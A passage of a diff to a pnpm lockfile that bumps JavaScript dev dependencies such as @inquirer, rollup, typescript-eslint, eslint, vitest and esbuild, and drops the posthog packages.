3.0.10(@types/node@24.2.0) - external-editor: 3.1.0 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/external-editor': 1.0.3(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/expand@4.0.17(@types/node@24.2.0)': + '@inquirer/expand@4.0.23(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 3.0.10(@types/node@24.2.0) - yoctocolors-cjs: 2.1.2 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) + yoctocolors-cjs: 2.1.3 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/external-editor@1.0.1(@types/node@24.2.0)': + '@inquirer/external-editor@1.0.3(@types/node@20.19.43)': dependencies: - chardet: 2.1.0 - iconv-lite: 0.6.3 + chardet: 2.2.0 + iconv-lite: 0.7.2 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/figures@1.0.13': {} + '@inquirer/figures@1.0.15': {} - '@inquirer/input@4.2.1(@types/node@24.2.0)': + '@inquirer/input@4.3.1(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 3.0.10(@types/node@24.2.0) + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/number@3.0.17(@types/node@24.2.0)': + '@inquirer/number@3.0.23(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 3.0.10(@types/node@24.2.0) + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/password@4.0.17(@types/node@24.2.0)': + '@inquirer/password@4.0.23(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 3.0.10(@types/node@24.2.0) - ansi-escapes: 4.3.2 + '@inquirer/ansi': 1.0.2 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) optionalDependencies: - '@types/node': 24.2.0 - - '@inquirer/prompts@7.8.0(@types/node@24.2.0)': - dependencies: - '@inquirer/checkbox': 4.2.0(@types/node@24.2.0) - '@inquirer/confirm': 5.1.14(@types/node@24.2.0) - '@inquirer/editor': 4.2.15(@types/node@24.2.0) - '@inquirer/expand': 4.0.17(@types/node@24.2.0) - '@inquirer/input': 4.2.1(@types/node@24.2.0) - '@inquirer/number': 3.0.17(@types/node@24.2.0) - '@inquirer/password': 4.0.17(@types/node@24.2.0) - '@inquirer/rawlist': 4.1.5(@types/node@24.2.0) - '@inquirer/search': 3.1.0(@types/node@24.2.0) - '@inquirer/select': 4.3.1(@types/node@24.2.0) + '@types/node': 20.19.43 + + '@inquirer/prompts@7.10.1(@types/node@20.19.43)': + dependencies: + '@inquirer/checkbox': 4.3.2(@types/node@20.19.43) + '@inquirer/confirm': 5.1.21(@types/node@20.19.43) + '@inquirer/editor': 4.2.23(@types/node@20.19.43) + '@inquirer/expand': 4.0.23(@types/node@20.19.43) + '@inquirer/input': 4.3.1(@types/node@20.19.43) + '@inquirer/number': 3.0.23(@types/node@20.19.43) + '@inquirer/password': 4.0.23(@types/node@20.19.43) + '@inquirer/rawlist': 4.1.11(@types/node@20.19.43) + '@inquirer/search': 3.2.2(@types/node@20.19.43) + '@inquirer/select': 4.4.2(@types/node@20.19.43) optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/rawlist@4.1.5(@types/node@24.2.0)': + '@inquirer/rawlist@4.1.11(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/type': 3.0.10(@types/node@24.2.0) - yoctocolors-cjs: 2.1.2 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/type': 3.0.10(@types/node@20.19.43) + yoctocolors-cjs: 2.1.3 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/search@3.1.0(@types/node@24.2.0)': + '@inquirer/search@3.2.2(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/figures': 1.0.13 - '@inquirer/type': 3.0.10(@types/node@24.2.0) - yoctocolors-cjs: 2.1.2 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/figures': 1.0.15 + '@inquirer/type': 3.0.10(@types/node@20.19.43) + yoctocolors-cjs: 2.1.3 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/select@4.3.1(@types/node@24.2.0)': + '@inquirer/select@4.4.2(@types/node@20.19.43)': dependencies: - '@inquirer/core': 10.2.2(@types/node@24.2.0) - '@inquirer/figures': 1.0.13 - '@inquirer/type': 3.0.10(@types/node@24.2.0) - ansi-escapes: 4.3.2 - yoctocolors-cjs: 2.1.2 + '@inquirer/ansi': 1.0.2 + '@inquirer/core': 10.3.2(@types/node@20.19.43) + '@inquirer/figures': 1.0.15 + '@inquirer/type': 3.0.10(@types/node@20.19.43) + yoctocolors-cjs: 2.1.3 optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 - '@inquirer/type@3.0.10(@types/node@24.2.0)': + '@inquirer/type@3.0.10(@types/node@20.19.43)': optionalDependencies: - '@types/node': 24.2.0 + '@types/node': 20.19.43 '@jridgewell/sourcemap-codec@1.5.4': {} @@ -2097,68 +2046,79 @@ snapshots: '@polka/url@1.0.0-next.29': {} - '@posthog/core@1.9.1': - dependencies: - cross-spawn: 7.0.6 + '@rollup/rollup-android-arm-eabi@4.62.2': + optional: true + + '@rollup/rollup-android-arm64@4.62.2': + optional: true + + '@rollup/rollup-darwin-arm64@4.62.2': + optional: true + + '@rollup/rollup-darwin-x64@4.62.2': + optional: true + + '@rollup/rollup-freebsd-arm64@4.62.2': + optional: true - '@rollup/rollup-android-arm-eabi@4.46.2': + '@rollup/rollup-freebsd-x64@4.62.2': optional: true - '@rollup/rollup-android-arm64@4.46.2': + '@rollup/rollup-linux-arm-gnueabihf@4.62.2': optional: true - '@rollup/rollup-darwin-arm64@4.46.2': + '@rollup/rollup-linux-arm-musleabihf@4.62.2': optional: true - '@rollup/rollup-darwin-x64@4.46.2': + '@rollup/rollup-linux-arm64-gnu@4.62.2': optional: true - '@rollup/rollup-freebsd-arm64@4.46.2': + '@rollup/rollup-linux-arm64-musl@4.62.2': optional: true - '@rollup/rollup-freebsd-x64@4.46.2': + '@rollup/rollup-linux-loong64-gnu@4.62.2': optional: true - '@rollup/rollup-linux-arm-gnueabihf@4.46.2': + '@rollup/rollup-linux-loong64-musl@4.62.2': optional: true - '@rollup/rollup-linux-arm-musleabihf@4.46.2': + '@rollup/rollup-linux-ppc64-gnu@4.62.2': optional: true - '@rollup/rollup-linux-arm64-gnu@4.46.2': + '@rollup/rollup-linux-ppc64-musl@4.62.2': optional: true - '@rollup/rollup-linux-arm64-musl@4.46.2': + '@rollup/rollup-linux-riscv64-gnu@4.62.2': optional: true - '@rollup/rollup-linux-loongarch64-gnu@4.46.2': + '@rollup/rollup-linux-riscv64-musl@4.62.2': optional: true - '@rollup/rollup-linux-ppc64-gnu@4.46.2': + '@rollup/rollup-linux-s390x-gnu@4.62.2': optional: true - '@rollup/rollup-linux-riscv64-gnu@4.46.2': + '@rollup/rollup-linux-x64-gnu@4.62.2': optional: true - '@rollup/rollup-linux-riscv64-musl@4.46.2': + '@rollup/rollup-linux-x64-musl@4.62.2': optional: true - '@rollup/rollup-linux-s390x-gnu@4.46.2': + '@rollup/rollup-openbsd-x64@4.62.2': optional: true - '@rollup/rollup-linux-x64-gnu@4.46.2': + '@rollup/rollup-openharmony-arm64@4.62.2': optional: true - '@rollup/rollup-linux-x64-musl@4.46.2': + '@rollup/rollup-win32-arm64-msvc@4.62.2': optional: true - '@rollup/rollup-win32-arm64-msvc@4.46.2': + '@rollup/rollup-win32-ia32-msvc@4.62.2': optional: true - '@rollup/rollup-win32-ia32-msvc@4.46.2': + '@rollup/rollup-win32-x64-gnu@4.62.2': optional: true - '@rollup/rollup-win32-x64-msvc@4.46.2': + '@rollup/rollup-win32-x64-msvc@4.62.2': optional: true '@types/chai@5.2.2': @@ -2167,167 +2127,169 @@ snapshots: '@types/deep-eql@4.0.2': {} - '@types/estree@1.0.8': {} + '@types/esrecurse@4.3.1': {} + + '@types/estree@1.0.9': {} '@types/json-schema@7.0.15': {} '@types/node@12.20.55': {} - '@types/node@24.2.0': + '@types/node@20.19.43': dependencies: - undici-types: 7.10.0 + undici-types: 6.21.0 - '@typescript-eslint/eslint-plugin@8.50.1(@typescript-eslint/parser@8.50.1(eslint@9.39.2)(typescript@5.9.3))(eslint@9.39.2)(typescript@5.9.3)': + '@typescript-eslint/eslint-plugin@8.65.0(@typescript-eslint/parser@8.65.0(eslint@10.8.0)(typescript@6.0.3))(eslint@10.8.0)(typescript@6.0.3)': dependencies: '@eslint-community/regexpp': 4.12.2 - '@typescript-eslint/parser': 8.50.1(eslint@9.39.2)(typescript@5.9.3) - '@typescript-eslint/scope-manager': 8.50.1 - '@typescript-eslint/type-utils': 8.50.1(eslint@9.39.2)(typescript@5.9.3) - '@typescript-eslint/utils': 8.50.1(eslint@9.39.2)(typescript@5.9.3) - '@typescript-eslint/visitor-keys': 8.50.1 - eslint: 9.39.2 - ignore: 7.0.5 + '@typescript-eslint/parser': 8.65.0(eslint@10.8.0)(typescript@6.0.3) + '@typescript-eslint/scope-manager': 8.65.0 + '@typescript-eslint/type-utils': 8.65.0(eslint@10.8.0)(typescript@6.0.3) + '@typescript-eslint/utils': 8.65.0(eslint@10.8.0)(typescript@6.0.3) + '@typescript-eslint/visitor-keys': 8.65.0 + eslint: 10.8.0 + ignore: 7.0.6 natural-compare: 1.4.0 - ts-api-utils: 2.1.0(typescript@5.9.3) - typescript: 5.9.3 + ts-api-utils: 2.5.0(typescript@6.0.3) + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/parser@8.50.1(eslint@9.39.2)(typescript@5.9.3)': + '@typescript-eslint/parser@8.65.0(eslint@10.8.0)(typescript@6.0.3)': dependencies: - '@typescript-eslint/scope-manager': 8.50.1 - '@typescript-eslint/types': 8.50.1 - '@typescript-eslint/typescript-estree': 8.50.1(typescript@5.9.3) - '@typescript-eslint/visitor-keys': 8.50.1 - debug: 4.4.1 - eslint: 9.39.2 - typescript: 5.9.3 + '@typescript-eslint/scope-manager': 8.65.0 + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/typescript-estree': 8.65.0(typescript@6.0.3) + '@typescript-eslint/visitor-keys': 8.65.0 + debug: 4.4.3 + eslint: 10.8.0 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/project-service@8.50.1(typescript@5.9.3)': + '@typescript-eslint/project-service@8.65.0(typescript@6.0.3)': dependencies: - '@typescript-eslint/tsconfig-utils': 8.50.1(typescript@5.9.3) - '@typescript-eslint/types': 8.50.1 - debug: 4.4.1 - typescript: 5.9.3 + '@typescript-eslint/tsconfig-utils': 8.65.0(typescript@6.0.3) + '@typescript-eslint/types': 8.65.0 + debug: 4.4.3 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/scope-manager@8.50.1': + '@typescript-eslint/scope-manager@8.65.0': dependencies: - '@typescript-eslint/types': 8.50.1 - '@typescript-eslint/visitor-keys': 8.50.1 + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/visitor-keys': 8.65.0 - '@typescript-eslint/tsconfig-utils@8.50.1(typescript@5.9.3)': + '@typescript-eslint/tsconfig-utils@8.65.0(typescript@6.0.3)': dependencies: - typescript: 5.9.3 + typescript: 6.0.3 - '@typescript-eslint/type-utils@8.50.1(eslint@9.39.2)(typescript@5.9.3)': + '@typescript-eslint/type-utils@8.65.0(eslint@10.8.0)(typescript@6.0.3)': dependencies: - '@typescript-eslint/types': 8.50.1 - '@typescript-eslint/typescript-estree': 8.50.1(typescript@5.9.3) - '@typescript-eslint/utils': 8.50.1(eslint@9.39.2)(typescript@5.9.3) - debug: 4.4.1 - eslint: 9.39.2 - ts-api-utils: 2.1.0(typescript@5.9.3) - typescript: 5.9.3 + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/typescript-estree': 8.65.0(typescript@6.0.3) + '@typescript-eslint/utils': 8.65.0(eslint@10.8.0)(typescript@6.0.3) + debug: 4.4.3 + eslint: 10.8.0 + ts-api-utils: 2.5.0(typescript@6.0.3) + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/types@8.50.1': {} + '@typescript-eslint/types@8.65.0': {} - '@typescript-eslint/typescript-estree@8.50.1(typescript@5.9.3)': + '@typescript-eslint/typescript-estree@8.65.0(typescript@6.0.3)': dependencies: - '@typescript-eslint/project-service': 8.50.1(typescript@5.9.3) - '@typescript-eslint/tsconfig-utils': 8.50.1(typescript@5.9.3) - '@typescript-eslint/types': 8.50.1 - '@typescript-eslint/visitor-keys': 8.50.1 - debug: 4.4.1 - minimatch: 9.0.5 - semver: 7.7.2 - tinyglobby: 0.2.15 - ts-api-utils: 2.1.0(typescript@5.9.3) - typescript: 5.9.3 + '@typescript-eslint/project-service': 8.65.0(typescript@6.0.3) + '@typescript-eslint/tsconfig-utils': 8.65.0(typescript@6.0.3) + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/visitor-keys': 8.65.0 + debug: 4.4.3 + minimatch: 10.2.6 + semver: 7.8.5 + tinyglobby: 0.2.17 + ts-api-utils: 2.5.0(typescript@6.0.3) + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/utils@8.50.1(eslint@9.39.2)(typescript@5.9.3)': + '@typescript-eslint/utils@8.65.0(eslint@10.8.0)(typescript@6.0.3)': dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@9.39.2) - '@typescript-eslint/scope-manager': 8.50.1 - '@typescript-eslint/types': 8.50.1 - '@typescript-eslint/typescript-estree': 8.50.1(typescript@5.9.3) - eslint: 9.39.2 - typescript: 5.9.3 + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0) + '@typescript-eslint/scope-manager': 8.65.0 + '@typescript-eslint/types': 8.65.0 + '@typescript-eslint/typescript-estree': 8.65.0(typescript@6.0.3) + eslint: 10.8.0 + typescript: 6.0.3 transitivePeerDependencies: - supports-color - '@typescript-eslint/visitor-keys@8.50.1': + '@typescript-eslint/visitor-keys@8.65.0': dependencies: - '@typescript-eslint/types': 8.50.1 - eslint-visitor-keys: 4.2.1 + '@typescript-eslint/types': 8.65.0 + eslint-visitor-keys: 5.0.1 - '@vitest/expect@3.2.4': + '@vitest/expect@3.2.6': dependencies: '@types/chai': 5.2.2 - '@vitest/spy': 3.2.4 - '@vitest/utils': 3.2.4 + '@vitest/spy': 3.2.6 + '@vitest/utils': 3.2.6 chai: 5.2.1 tinyrainbow: 2.0.0 - '@vitest/mocker@3.2.4(vite@7.0.6(@types/node@24.2.0)(yaml@2.8.2))': + '@vitest/mocker@3.2.6(vite@7.3.6(@types/node@20.19.43)(yaml@2.9.0))': dependencies: - '@vitest/spy': 3.2.4 + '@vitest/spy': 3.2.6 estree-walker: 3.0.3 magic-string: 0.30.17 optionalDependencies: - vite: 7.0.6(@types/node@24.2.0)(yaml@2.8.2) + vite: 7.3.6(@types/node@20.19.43)(yaml@2.9.0) - '@vitest/pretty-format@3.2.4': + '@vitest/pretty-format@3.2.6': dependencies: tinyrainbow: 2.0.0 - '@vitest/runner@3.2.4': + '@vitest/runner@3.2.6': dependencies: - '@vitest/utils': 3.2.4 + '@vitest/utils': 3.2.6 pathe: 2.0.3 strip-literal: 3.0.0 - '@vitest/snapshot@3.2.4': + '@vitest/snapshot@3.2.6': dependencies: - '@vitest/pretty-format': 3.2.4 + '@vitest/pretty-format': 3.2.6 magic-string: 0.30.17 pathe: 2.0.3 - '@vitest/spy@3.2.4': + '@vitest/spy@3.2.6': dependencies: tinyspy: 4.0.3 - '@vitest/ui@3.2.4(vitest@3.2.4)': + '@vitest/ui@3.2.6(vitest@3.2.6)': dependencies: - '@vitest/utils': 3.2.4 + '@vitest/utils': 3.2.6 fflate: 0.8.2 - flatted: 3.3.3 + flatted: 3.4.3 pathe: 2.0.3 sirv: 3.0.1 - tinyglobby: 0.2.14 + tinyglobby: 0.2.15 tinyrainbow: 2.0.0 - vitest: 3.2.4(@types/node@24.2.0)(@vitest/ui@3.2.4)(yaml@2.8.2) + vitest: 3.2.6(@types/node@20.19.43)(@vitest/ui@3.2.6)(yaml@2.9.0) - '@vitest/utils@3.2.4': + '@vitest/utils@3.2.6': dependencies: - '@vitest/pretty-format': 3.2.4 + '@vitest/pretty-format': 3.2.6 loupe: 3.2.0 tinyrainbow: 2.0.0 - acorn-jsx@5.3.2(acorn@8.15.0): + acorn-jsx@5.3.2(acorn@8.18.0): dependencies: - acorn: 8.15.0 + acorn: 8.18.0 - acorn@8.15.0: {} + acorn@8.18.0: {} - ajv@6.12.6: + ajv@6.15.0: dependencies: fast-deep-equal: 3.1.3 fast-json-stable-stringify: 2.1.0 @@ -2336,13 +2298,9 @@ snapshots: ansi-colors@4.1.3: {} - ansi-escapes@4.3.2: - dependencies: - type-fest: 0.21.3 - ansi-regex@5.0.1: {} - ansi-regex@6.1.0: {} + ansi-regex@6.2.2: {} ansi-styles@4.3.0: dependencies: @@ -2358,20 +2316,15 @@ snapshots: assertion-error@2.0.1: {} - balanced-match@1.0.2: {} + balanced-match@4.0.4: {} better-path-resolve@1.0.0: dependencies: is-windows: 1.0.2 - brace-expansion@1.1.12: - dependencies: - balanced-match: 1.0.2 - concat-map: 0.0.1 - - brace-expansion@2.0.2: + brace-expansion@5.0.9: dependencies: - balanced-match: 1.0.2 + balanced-match: 4.0.4 braces@3.0.3: dependencies: @@ -2379,8 +2332,6 @@ snapshots: cac@6.7.14: {} - callsites@3.1.0: {} - chai@5.2.1: dependencies: assertion-error: 2.0.1 @@ -2389,26 +2340,17 @@ snapshots: loupe: 3.2.0 pathval: 2.0.1 - chalk@4.1.2: - dependencies: - ansi-styles: 4.3.0 - supports-color: 7.2.0 - - chalk@5.5.0: {} - - chardet@0.7.0: {} + chalk@5.6.2: {} - chardet@2.1.0: {} + chardet@2.2.0: {} check-error@2.1.1: {} - ci-info@3.9.0: {} - cli-cursor@5.0.0: dependencies: restore-cursor: 5.1.0 - cli-spinners@2.9.2: {} + cli-spinners@3.4.0: {} cli-width@4.1.0: {} @@ -2418,9 +2360,7 @@ snapshots: color-name@1.1.4: {} - commander@14.0.0: {} - - concat-map@0.0.1: {} + commander@14.0.3: {} cross-spawn@7.0.6: dependencies: @@ -2434,6 +2374,10 @@ snapshots: dependencies: ms: 2.1.3 + debug@4.4.3: + dependencies: + ms: 2.1.3 + deep-eql@5.0.2: {} deep-is@0.1.4: {} @@ -2446,8 +2390,6 @@ snapshots: dotenv@8.6.0: {} - emoji-regex@10.4.0: {} - emoji-regex@8.0.0: {} enquirer@2.4.1: @@ -2457,69 +2399,68 @@ snapshots: es-module-lexer@1.7.0: {} - esbuild@0.25.8: + esbuild@0.28.1: optionalDependencies: - '@esbuild/aix-ppc64': 0.25.8 - '@esbuild/android-arm': 0.25.8 - '@esbuild/android-arm64': 0.25.8 - '@esbuild/android-x64': 0.25.8 - '@esbuild/darwin-arm64': 0.25.8 - '@esbuild/darwin-x64': 0.25.8 - '@esbuild/freebsd-arm64': 0.25.8 - '@esbuild/freebsd-x64': 0.25.8 - '@esbuild/linux-arm': 0.25.8 - '@esbuild/linux-arm64': 0.25.8 - '@esbuild/linux-ia32': 0.25.8 - '@esbuild/linux-loong64': 0.25.8 - '@esbuild/linux-mips64el': 0.25.8 - '@esbuild/linux-ppc64': 0.25.8 - '@esbuild/linux-riscv64': 0.25.8 - '@esbuild/linux-s390x': 0.25.8 - '@esbuild/linux-x64': 0.25.8 - '@esbuild/netbsd-arm64': 0.25.8 - '@esbuild/netbsd-x64': 0.25.8 - '@esbuild/openbsd-arm64': 0.25.8 - '@esbuild/openbsd-x64': 0.25.8 - '@esbuild/openharmony-arm64': 0.25.8 - '@esbuild/sunos-x64': 0.25.8 - '@esbuild/win32-arm64': 0.25.8 - '@esbuild/win32-ia32': 0.25.8 - '@esbuild/win32-x64': 0.25.8 + '@esbuild/aix-ppc64': 0.28.1 + '@esbuild/android-arm': 0.28.1 + '@esbuild/android-arm64': 0.28.1 + '@esbuild/android-x64': 0.28.1 + '@esbuild/darwin-arm64': 0.28.1 + '@esbuild/darwin-x64': 0.28.1 + '@esbuild/freebsd-arm64': 0.28.1 + '@esbuild/freebsd-x64': 0.28.1 + '@esbuild/linux-arm': 0.28.1 + '@esbuild/linux-arm64': 0.28.1 + '@esbuild/linux-ia32': 0.28.1 + '@esbuild/linux-loong64': 0.28.1 + '@esbuild/linux-mips64el': 0.28.1 + '@esbuild/linux-ppc64': 0.28.1 + '@esbuild/linux-riscv64': 0.28.1 + '@esbuild/linux-s390x': 0.28.1 + '@esbuild/linux-x64': 0.28.1 + '@esbuild/netbsd-arm64': 0.28.1 + '@esbuild/netbsd-x64': 0.28.1 + '@esbuild/openbsd-arm64': 0.28.1 + '@esbuild/openbsd-x64': 0.28.1 + '@esbuild/openharmony-arm64': 0.28.1 + '@esbuild/sunos-x64': 0.28.1 + '@esbuild/win32-arm64': 0.28.1 + '@esbuild/win32-ia32': 0.28.1 + '@esbuild/win32-x64': 0.28.1 escape-string-regexp@4.0.0: {} - eslint-scope@8.4.0: + eslint-scope@9.1.2: dependencies: + '@types/esrecurse': 4.3.1 + '@types/estree': 1.0.9 esrecurse: 4.3.0 estraverse: 5.3.0 eslint-visitor-keys@3.4.3: {} - eslint-visitor-keys@4.2.1: {} + eslint-visitor-keys@5.0.1: {} - eslint@9.39.2: + eslint@10.8.0: dependencies: - '@eslint-community/eslint-utils': 4.9.0(eslint@9.39.2) + '@eslint-community/eslint-utils': 4.10.1(eslint@10.8.0) '@eslint-community/regexpp': 4.12.2 - '@eslint/config-array': 0.21.1 - '@eslint/config-helpers': 0.4.2 - '@eslint/core': 0.17.0 - '@eslint/eslintrc': 3.3.3 - '@eslint/js': 9.39.2 - '@eslint/plugin-kit': 0.4.1 - '@humanfs/node': 0.16.7 + '@eslint/config-array': 0.23.5 + '@eslint/config-helpers': 0.7.0 + '@eslint/core': 1.2.1 + '@eslint/plugin-kit': 0.7.2 + '@humanfs/node': 0.16.8 '@humanwhocodes/module-importer': 1.0.1 '@humanwhocodes/retry': 0.4.3 - '@types/estree': 1.0.8 - ajv: 6.12.6 - chalk: 4.1.2 + '@types/estree': 1.0.9 + ajv: 6.15.0 cross-spawn: 7.0.6 - debug: 4.4.1 + debug: 4.4.3 escape-string-regexp: 4.0.0 - eslint-scope: 8.4.0 - eslint-visitor-keys: 4.2.1 - espree: 10.4.0 - esquery: 1.6.0 + eslint-scope: 9.1.2 + eslint-visitor-keys: 5.0.1 + espree: 11.2.0 + esquery: 1.7.0 esutils: 2.0.3 fast-deep-equal: 3.1.3 file-entry-cache: 8.0.0 @@ -2529,22 +2470,21 @@ snapshots: imurmurhash: 0.1.4 is-glob: 4.0.3 json-stable-stringify-without-jsonify: 1.0.1 - lodash.merge: 4.6.2 - minimatch: 3.1.2 + minimatch: 10.2.6 natural-compare: 1.4.0 optionator: 0.9.4 transitivePeerDependencies: - supports-color - espree@10.4.0: + espree@11.2.0: dependencies: - acorn: 8.15.0 - acorn-jsx: 5.3.2(acorn@8.15.0) - eslint-visitor-keys: 4.2.1 + acorn: 8.18.0 + acorn-jsx: 5.3.2(acorn@8.18.0) + eslint-visitor-keys: 5.0.1 esprima@4.0.1: {} - esquery@1.6.0: + esquery@1.7.0: dependencies: estraverse: 5.3.0 @@ -2556,7 +2496,7 @@ snapshots: estree-walker@3.0.3: dependencies: - '@types/estree': 1.0.8 + '@types/estree': 1.0.9 esutils@2.0.3: {} @@ -2564,12 +2504,6 @@ snapshots: extendable-error@0.1.7: {} - external-editor@3.1.0: - dependencies: - chardet: 0.7.0 - iconv-lite: 0.4.24 - tmp: 0.0.33 - fast-deep-equal@3.1.3: {} fast-glob@3.3.3: @@ -2588,13 +2522,13 @@ snapshots: dependencies: reusify: 1.1.0 - fdir@6.4.6(picomatch@4.0.3): + fdir@6.5.0(picomatch@4.0.4): optionalDependencies: - picomatch: 4.0.3 + picomatch: 4.0.4 - fdir@6.5.0(picomatch@4.0.3): + fdir@6.5.0(picomatch@4.0.5): optionalDependencies: - picomatch: 4.0.3 + picomatch: 4.0.5 fflate@0.8.2: {} @@ -2618,10 +2552,12 @@ snapshots: flat-cache@4.0.1: dependencies: - flatted: 3.3.3 + flatted: 3.4.4 keyv: 4.5.4 - flatted@3.3.3: {} + flatted@3.4.3: {} + + flatted@3.4.4: {} fs-extra@7.0.1: dependencies: @@ -2638,7 +2574,7 @@ snapshots: fsevents@2.3.3: optional: true - get-east-asian-width@1.3.0: {} + get-east-asian-width@1.6.0: {} glob-parent@5.1.2: dependencies: @@ -2648,8 +2584,6 @@ snapshots: dependencies: is-glob: 4.0.3 - globals@14.0.0: {} - globby@11.1.0: dependencies: array-union: 2.1.0 @@ -2661,26 +2595,15 @@ snapshots: graceful-fs@4.2.11: {} - has-flag@4.0.0: {} - human-id@4.1.1: {} - iconv-lite@0.4.24: - dependencies: - safer-buffer: 2.1.2 - - iconv-lite@0.6.3: + iconv-lite@0.7.2: dependencies: safer-buffer: 2.1.2 ignore@5.3.2: {} - ignore@7.0.5: {} - - import-fresh@3.3.1: - dependencies: - parent-module: 1.0.1 - resolve-from: 4.0.0 + ignore@7.0.6: {} imurmurhash@0.1.4: {} @@ -2700,8 +2623,6 @@ snapshots: dependencies: better-path-resolve: 1.0.0 - is-unicode-supported@1.3.0: {} - is-unicode-supported@2.1.0: {} is-windows@1.0.2: {} @@ -2710,12 +2631,12 @@ snapshots: js-tokens@9.0.1: {} - js-yaml@3.14.1: + js-yaml@3.15.0: dependencies: argparse: 1.0.10 esprima: 4.0.1 - js-yaml@4.1.1: + js-yaml@4.3.0: dependencies: argparse: 2.0.1 @@ -2746,14 +2667,12 @@ snapshots: dependencies: p-locate: 5.0.0 - lodash.merge@4.6.2: {} - lodash.startcase@4.4.0: {} - log-symbols@6.0.0: + log-symbols@7.0.1: dependencies: - chalk: 5.5.0 - is-unicode-supported: 1.3.0 + is-unicode-supported: 2.1.0 + yoctocolors: 2.2.0 loupe@3.2.0: {} @@ -2766,17 +2685,13 @@ snapshots: micromatch@4.0.8: dependencies: braces: 3.0.3 - picomatch: 2.3.1 + picomatch: 2.3.2 mimic-function@5.0.1: {} - minimatch@3.1.2: + minimatch@10.2.6: dependencies: - brace-expansion: 1.1.12 - - minimatch@9.0.5: - dependencies: - brace-expansion: 2.0.2 + brace-expansion: 5.0.9 mri@1.2.0: {} @@ -2786,7 +2701,7 @@ snapshots: mute-stream@2.0.0: {} - nanoid@3.3.11: {} + nanoid@3.3.16: {} natural-compare@1.4.0: {} @@ -2807,19 +2722,16 @@ snapshots: type-check: 0.4.0 word-wrap: 1.2.5 - ora@8.2.0: + ora@9.4.1: dependencies: - chalk: 5.5.0 + chalk: 5.6.2 cli-cursor: 5.0.0 - cli-spinners: 2.9.2 + cli-spinners: 3.4.0 is-interactive: 2.0.0 is-unicode-supported: 2.1.0 - log-symbols: 6.0.0 - stdin-discarder: 0.2.2 - string-width: 7.2.0 - strip-ansi: 7.1.0 - - os-tmpdir@1.0.2: {} + log-symbols: 7.0.1 + stdin-discarder: 0.3.2 + string-width: 8.2.2 outdent@0.5.0: {} @@ -2851,10 +2763,6 @@ snapshots: dependencies: quansync: 0.2.11 - parent-module@1.0.1: - dependencies: - callsites: 3.1.0 - path-exists@4.0.0: {} path-key@3.1.1: {} @@ -2867,22 +2775,20 @@ snapshots: picocolors@1.1.1: {} - picomatch@2.3.1: {} + picomatch@2.3.2: {} + + picomatch@4.0.4: {} - picomatch@4.0.3: {} + picomatch@4.0.5: {} pify@4.0.1: {} - postcss@8.5.6: + postcss@8.5.25: dependencies: - nanoid: 3.3.11 + nanoid: 3.3.16 picocolors: 1.1.1 source-map-js: 1.2.1 - posthog-node@5.20.0: - dependencies: - '@posthog/core': 1.9.1 - prelude-ls@1.2.1: {} prettier@2.8.8: {} @@ -2896,12 +2802,10 @@ snapshots: read-yaml-file@1.1.0: dependencies: graceful-fs: 4.2.11 - js-yaml: 3.14.1 + js-yaml: 3.15.0 pify: 4.0.1 strip-bom: 3.0.0 - resolve-from@4.0.0: {} - resolve-from@5.0.0: {} restore-cursor@5.1.0: @@ -2911,30 +2815,35 @@ snapshots: reusify@1.1.0: {} - rollup@4.46.2: + rollup@4.62.2: dependencies: - '@types/estree': 1.0.8 + '@types/estree': 1.0.9 optionalDependencies: - '@rollup/rollup-android-arm-eabi': 4.46.2 - '@rollup/rollup-android-arm64': 4.46.2 - '@rollup/rollup-darwin-arm64': 4.46.2 - '@rollup/rollup-darwin-x64': 4.46.2 - '@rollup/rollup-freebsd-arm64': 4.46.2 - '@rollup/rollup-freebsd-x64': 4.46.2 - '@rollup/rollup-linux-arm-gnueabihf': 4.46.2 - '@rollup/rollup-linux-arm-musleabihf': 4.46.2 - '@rollup/rollup-linux-arm64-gnu': 4.46.2 - '@rollup/rollup-linux-arm64-musl': 4.46.2 - '@rollup/rollup-linux-loongarch64-gnu': 